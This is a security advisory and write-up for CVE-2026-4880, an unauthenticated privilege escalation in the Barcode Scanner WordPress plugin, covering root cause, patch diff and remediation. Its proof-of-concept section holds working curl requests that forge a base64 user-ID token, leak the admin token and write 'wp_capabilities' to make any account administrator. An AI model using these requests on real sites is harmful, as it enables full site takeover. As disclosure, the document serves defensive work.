CVE-2026-4880: Barcode Scanner Plugin Privilege Escalation
Table of Contents
CVE-2026-4880 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the Barcode Scanner (+Mobile App) WordPress plugin. The flaw chains an insecure token bypass with an unrestricted user-meta write. In two HTTP requests, a remote attacker can escalate any WordPress account to full administrator — no credentials required.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Barcode Scanner (+Mobile App) – Inventory manager, Order fulfillment system, POS (Point of Sale) |
| Plugin Slug | barcode-scanner-lite-pos-to-manage-products-inventory-and-orders |
| CVE ID | CVE-2026-4880 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Privilege Escalation via Insecure Token Authentication (Improper Privilege Management) |
| Affected Versions | <= 1.11.0 |
| Patched Version | 1.12.0 |
| Published | April 15, 2026 |
| Researcher | Jude Nwadinobi |
| Wordfence Advisory | Link |
Description
The Barcode Scanner (+Mobile App) plugin for WordPress is vulnerable to privilege escalation via insecure token-based authentication in all versions up to and including 1.11.0. The plugin has three weaknesses that combine into one exploit:
- It trusts a user-supplied Base64-encoded user ID in the
tokenparameter to identify users - It leaks valid authentication tokens through the unauthenticated
barcodeScannerConfigsaction - It has no meta-key restrictions on the
setUserMetaaction
An unauthenticated attacker can exploit these together. First, they spoof the admin user ID to leak the admin’s authentication token. Then they use that token to overwrite any user’s wp_capabilities meta, gaining full administrator access.
Technical Analysis
Overview of the Three-Chained Weaknesses
The exploit chains three independent security weaknesses:
- Insecure token validation in
Users::getUserId()— accepts a forged base64-encoded user ID as authentication proof - Unauthenticated token disclosure via
barcodeScannerConfigs— leaks any user’s stored session token by spoofing their user ID - Arbitrary user-meta write in
setUserMeta— no meta-key allowlist and no ownership check on the target user ID
Weakness 1: Base64 User-ID Spoofing — Users::getUserId()
File: src/API/classes/Users.php, lines 30–53
public static function getUserId($request)
{
global $wpdb;
$userId = get_current_user_id();
$token = $request->get_param("token");
if (!$userId && $token) {
try {
if (preg_match("/^([0-9]+)/", @base64_decode($token), $m)) {
if ($m && count($m) > 0 && is_numeric($m[0])) {
$userId = $m[0]; // <-- TRUSTS THE DECODED VALUE AS A REAL USER ID
}
} else {
$meta = $wpdb->get_row("SELECT * FROM {$wpdb->usermeta}
WHERE meta_key = 'barcode_scanner_app_otp'
AND meta_value = '{$token}';");
$userId = $meta ? $meta->user_id : $userId;
}
} catch (\Throwable $th) {}
}
return $userId;
}
Root cause: The if branch decodes the token from base64 and — if the result begins with digits — uses those digits as the authenticated user ID with zero database verification. An attacker who sends MQ== (base64 of "1") causes the function to return 1 (the WordPress admin user), even though no credential was provided.
The same flaw exists in Auth::getUserId() (src/API/classes/Auth.php, lines 221–267), which is used to authenticate API requests in AjaxRoutes.
Weakness 2: Unauthenticated Token Disclosure via barcodeScannerConfigs
File: src/Core.php, lines 83–85 and 350–498
// Core.php — triggered without any authentication check
if (isset($_GET["action"]) && $_GET["action"] == "barcodeScannerConfigs") {
add_action('init', array($this, 'handleConfigs'), 999999);
}
When ?action=barcodeScannerConfigs is present in the request, handleConfigs() fires on WordPress init — unauthenticated, no nonce. It calls adminEnqueueScripts(true), which:
- Resolves the user via the spoofable
Users::getUserId()(Weakness 1) - Calls
Users::getUToken($userId, $platform)to obtain or create the user’sbarcode_scanner_web_otptoken
// src/API/classes/Users.php — getUToken()
public static function getUToken($userId, $platform)
{
$token = get_user_meta($userId, 'barcode_scanner_web_otp', true);
if ($token) {
return $token; // Returns the existing web OTP
} else {
$token = md5(time());
update_user_meta($userId, 'barcode_scanner_web_otp', $token);
return $token; // Creates and returns a new one
}
}
The result is serialized into the JSON response under usbs.utoken at Core.php line 498:
'utoken' => Users::getUToken($userId, $platform),
By spoofing userId = 1 (admin), an attacker receives the administrator’s barcode_scanner_web_otp in plaintext.
Weakness 3: Arbitrary User-Meta Write via setUserMeta
File: src/API/actions/UsersActions.php, lines 339–353
public function setUserMeta(WP_REST_Request $request) {
$userId = $request->get_param("userId"); // Attacker controls the target user ID
$fields = $request->get_param("fields");
$errors = array();
try {
foreach ($fields as $field) {
\update_user_meta($userId, $field['meta_key'], $field['meta_value']); // No allowlist!
}
} catch (\Throwable $th) {
$errors[] = $th->getMessage();
}
return rest_ensure_response(array("errors" => $errors, "fields" => $this->getUserMeta($userId)));
}
Two critical flaws:
- No ownership check — any authenticated session can target any
userId - No meta-key allowlist —
wp_capabilities(the key that controls WordPress roles) can be freely written
Full Execution Path
Request 1 (leak admin token):
GET /?action=barcodeScannerConfigs&token=MQ== (MQ== = base64("1"))
Core::__construct()
└─ add_action('init', 'handleConfigs')
Core::handleConfigs()
└─ adminEnqueueScripts($isAjax=true)
├─ Users::getUserId($request) → returns 1 via base64 decode
└─ Users::getUToken(1, $platform) → returns admin's barcode_scanner_web_otp
└─ RESPONSE: {"usbs":{"utoken":"<LEAKED_TOKEN>", ...}}
Request 2 (privilege escalation):
GET /?action=barcodeScannerAction&token=<LEAKED_TOKEN>&platform=android
POST body: {"rout":"setUserMeta","userId":<TARGET_UID>,"fields":[{"meta_key":"wp_capabilities","meta_value":{"administrator":true}}]}
Core::ajaxRequest()
└─ AjaxRoutes($post, $get, $this)
├─ Auth::check(token=<LEAKED_TOKEN>)
│ └─ DB lookup: meta_key IN ('barcode_scanner_app_otp','barcode_scanner_web_otp')
│ → Finds admin's web_otp → returns TRUE
├─ Auth::getUserId(token=<LEAKED_TOKEN>) → returns 1 (admin)
├─ Users::setUserId(1)
├─ wp_set_current_user(1) ← triggered by platform=android
├─ PermissionsHelper::init($request)
│ └─ getUserRolePermissions(0)
│ └─ get_current_user_id() → returns 1 (after wp_set_current_user)
│ → loads administrator permissions (orders=1 ✓)
└─ setUserMeta($request)
├─ $userId = $request->get_param("userId") → attacker-supplied target
└─ update_user_meta($userId, "wp_capabilities", {"administrator":true})
Root Cause
The legitimate login flow (usbs_auth) issues tokens of the form base64_encode("{userId}{siteUrl}"). The Users::getUserId() function decodes these tokens and extracts the leading numeric user ID. However, it never checks whether the decoded ID matches the correct site URL, or whether any matching record exists in the database. An attacker who sends base64_encode("1") passes the check the same way a real token for user 1 would.
Why Existing Controls Failed
Each of these three weaknesses exists partly because the plugin’s other safeguards had gaps too:
barcodeScannerConfigsaction has no nonce, no capability check, and no authentication requirement — it exposes the full plugin configuration including theutokenfield.Auth::check()does validate tokens via database lookup, but the base64-decode path inAuth::getUserId()bypasses that lookup entirely.PermissionsHelper::onePermRequired()checks the resolved user’s roles, but whenplatform=androidis passed,wp_set_current_user()is called with the admin’s ID before permissions are evaluated, granting admin-level access.setUserMetahas aPermissionsHelper::onePermRequired(['orders'])guard but no secondary check that the requesting user owns the targetuserIdand no restriction on which meta keys can be written.
Attack Impact
An unauthenticated remote attacker can:
- Obtain a valid administrator authentication token without any credentials
- Escalate any WordPress user account (including their own) to full administrator
- Achieve complete site takeover: install plugins, create backdoor accounts, exfiltrate data, deface content, or manipulate WooCommerce orders and inventory
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
barcode-scanner-lite-pos-to-manage-products-inventory-and-ordersplugin installed and activated - Plugin version <= 1.11.0
- WordPress user registration enabled (or attacker has any low-privilege account — e.g., WooCommerce customer/subscriber)
Step-by-Step Reproduction
Step 1: Identify admin user ID (usually 1)
WordPress admin accounts are created as user ID 1 by default. Confirm by observing the author archive URL or user enumeration.
Step 2: Forge an admin-spoofing token
The token format expected by Users::getUserId() is base64_encode("{userId}"). For admin (ID=1):
# base64 encode of "1" = MQ==
python3 -c "import base64; print(base64.b64encode(b'1').decode())"
# Output: MQ==
Step 3: Leak the admin’s authentication token
Send an unauthenticated GET request to the barcodeScannerConfigs endpoint with the spoofed token:
curl -s "https://TARGET.COM/?action=barcodeScannerConfigs&token=MQ==" \
| python3 -m json.tool | grep utoken
Expected response excerpt:
{
"usbs": {
"utoken": "a3f1b2c4d5e6f7890123456789abcdef",
...
}
}
Save the utoken value as LEAKED_TOKEN.
Step 4: Obtain a target user ID to escalate
If WordPress user registration is open, register a new account and note the user ID assigned. In WooCommerce sites, customer account creation is typically enabled. The assigned user ID can be found in:
- WordPress profile page URL:
/wp-admin/profile.php→ check URL after saving (user_id=N) - WooCommerce “My Account” page
Alternatively, target any known non-admin user ID on the site.
Set TARGET_UID to the user ID you want to escalate.
Step 5: Escalate the target account to administrator
LEAKED_TOKEN="a3f1b2c4d5e6f7890123456789abcdef"
TARGET_UID=3 # The user ID you want to escalate
TARGET_SITE="https://TARGET.COM"
curl -s -X POST \
"${TARGET_SITE}/?action=barcodeScannerAction&token=${LEAKED_TOKEN}&platform=android" \
-H "Content-Type: application/json" \
-d "{
\"rout\": \"setUserMeta\",
\"userId\": \"${TARGET_UID}\",
\"fields\": [
{
\"meta_key\": \"wp_capabilities\",
\"meta_value\": {\"administrator\": true}
}
]
}"
A successful response will contain no errors and will reflect the updated user meta including the administrator capability.
Step 6: Log in as administrator
Navigate to /wp-login.php and log in with the credentials of the user whose ID was used in Step 5. The account now has full administrator privileges.
Expected Result
The target account is promoted to WordPress administrator. From there, the attacker has full site control: install or remove plugins, create backdoor accounts, read all WooCommerce orders and inventory, and execute arbitrary PHP by uploading a malicious plugin or theme.
Verification
After Step 5, verify via WordPress database or admin panel:
-- Check wp_capabilities for the target user
SELECT meta_value FROM wp_usermeta
WHERE user_id = TARGET_UID
AND meta_key = 'wp_capabilities';
-- Should show: a:1:{s:13:"administrator";b:1;}
Or navigate to /wp-admin/users.php while logged in as the escalated account — the full admin panel should be accessible.
Patch Analysis
What Changed
| File | Change |
|---|---|
src/API/classes/Users.php | Removed base64 user-ID spoofing from getUserId() |
src/API/classes/Auth.php | Removed base64 user-ID spoofing from getUserId() and check() |
src/API/actions/UsersActions.php | Added meta-key allowlist; changed userId source from POST body to token-derived identity |
Fix Explanation
1. Removal of base64 token spoofing (Users.php and Auth.php)
In the patched version, Users::getUserId() no longer tries to decode a token as a base64 user ID. The entire if (preg_match("/^([0-9]+)/", @base64_decode($token), $m)) block is removed. Token resolution now only does a database lookup against barcode_scanner_app_otp:
// PATCHED — Users.php
$metaApp = $wpdb->get_row($wpdb->prepare(
"SELECT * FROM {$wpdb->usermeta} WHERE meta_key = 'barcode_scanner_app_otp' AND meta_value = %s;",
$token
));
$userId = $metaApp ? $metaApp->user_id : $userId;
The same base64 spoofing path is also removed from Auth::getUserId() and Auth::check().
2. Meta-key allowlist and ownership enforcement in setUserMeta
// PATCHED — UsersActions.php
public function setUserMeta(WP_REST_Request $request)
{
$userId = Users::getUserId($request); // Derived from authenticated token, not POST body
$fields = $request->get_param("fields");
$errors = array();
try {
$available = array('usbs_search_input_type', 'orderFulfillmentByDefault'); // Allowlist
foreach ($fields as $field) {
if (in_array($field['meta_key'], $available)) { // Enforced allowlist
\update_user_meta($userId, $field['meta_key'], $field['meta_value']);
}
}
} catch (\Throwable $th) {
$errors[] = $th->getMessage();
}
...
}
Both defenses work together:
- Ownership:
$userIdis now derived fromUsers::getUserId($request)— the authenticated user’s token — rather than an attacker-supplied POST parameter. A user can only update their own meta. - Allowlist: Only
usbs_search_input_typeandorderFulfillmentByDefaultare accepted. Writing towp_capabilities,wp_user_level, or any other sensitive key is blocked.
Is the fix complete? Yes, for the privilege-escalation vector. The barcodeScannerConfigs endpoint still exposes utoken in its response — this is by design for the mobile app. But with base64 spoofing removed, an attacker can no longer forge a user ID to get another user’s token.
Code Diff (Key Changes)
--- a/src/API/classes/Users.php
+++ b/src/API/classes/Users.php
@@ -37,14 +37,8 @@ class Users
if (!$userId && $token) {
try {
- if (preg_match("/^([0-9]+)/", @base64_decode($token), $m)) {
- if ($m && count($m) > 0 && is_numeric($m[0])) {
- $userId = $m[0];
- }
- } else {
- $meta = $wpdb->get_row("SELECT * FROM {$wpdb->usermeta} WHERE meta_key = 'barcode_scanner_app_otp' AND meta_value = '{$token}';");
- $userId = $meta ? $meta->user_id : $userId;
- }
+ $metaApp = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->usermeta} WHERE meta_key = 'barcode_scanner_app_otp' AND meta_value = %s;", $token));
+ $userId = $metaApp ? $metaApp->user_id : $userId;
} catch (\Throwable $th) {}
}
--- a/src/API/actions/UsersActions.php
+++ b/src/API/actions/UsersActions.php
@@ -339,10 +339,15 @@ class UsersActions
- public function setUserMeta(WP_REST_Request $request) {
- $userId = $request->get_param("userId");
+ public function setUserMeta(WP_REST_Request $request)
+ {
+ $userId = Users::getUserId($request);
$fields = $request->get_param("fields");
$errors = array();
try {
+ $available = array('usbs_search_input_type', 'orderFulfillmentByDefault');
+
foreach ($fields as $field) {
- \update_user_meta($userId, $field['meta_key'], $field['meta_value']);
+ if (in_array($field['meta_key'], $available)) {
+ \update_user_meta($userId, $field['meta_key'], $field['meta_value']);
+ }
}
Timeline
| Date | Event |
|---|---|
| April 15, 2026 | Vulnerability publicly disclosed |
| April 15, 2026 | Patched version 1.12.0 released |
Remediation
Update the barcode-scanner-lite-pos-to-manage-products-inventory-and-orders plugin to version 1.12.0 or later.
References
- plugins.trac.wordpress.org — Vulnerable code (Core.php line 498, rev 3391688)
- plugins.trac.wordpress.org — Fix changeset 3506824
- Wordfence Vulnerability Advisory
- CVE-2026-4880 on NVD
Frequently Asked Questions
What is CVE-2026-4880?
CVE-2026-4880 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the Barcode Scanner (+Mobile App) WordPress plugin that allows a remote attacker to promote any user account to full administrator without any credentials.
Which versions of Barcode Scanner (+Mobile App) are affected by CVE-2026-4880?
All versions up to and including 1.11.0 are vulnerable. Version 1.12.0 contains the fix and is safe to use.
What can an attacker do with CVE-2026-4880?
An attacker can escalate any WordPress user account on the site to administrator level. From there they can install plugins, create backdoor accounts, read all WooCommerce orders and inventory, and execute arbitrary PHP by uploading a malicious plugin or theme.
Does an attacker need to be logged in to exploit CVE-2026-4880?
No. The vulnerability is fully unauthenticated. An attacker needs only two HTTP requests and no account or credentials on the target site.
How do I fix CVE-2026-4880 in Barcode Scanner (+Mobile App)?
Update the plugin to version 1.12.0 or later through your WordPress dashboard under Plugins, or download the latest version directly from the WordPress.org plugin repository.
Has Barcode Scanner (+Mobile App) been patched for CVE-2026-4880?
Yes. The developer released version 1.12.0 on April 15, 2026, which removes the base64 token spoofing path and adds a meta-key allowlist to prevent privilege escalation.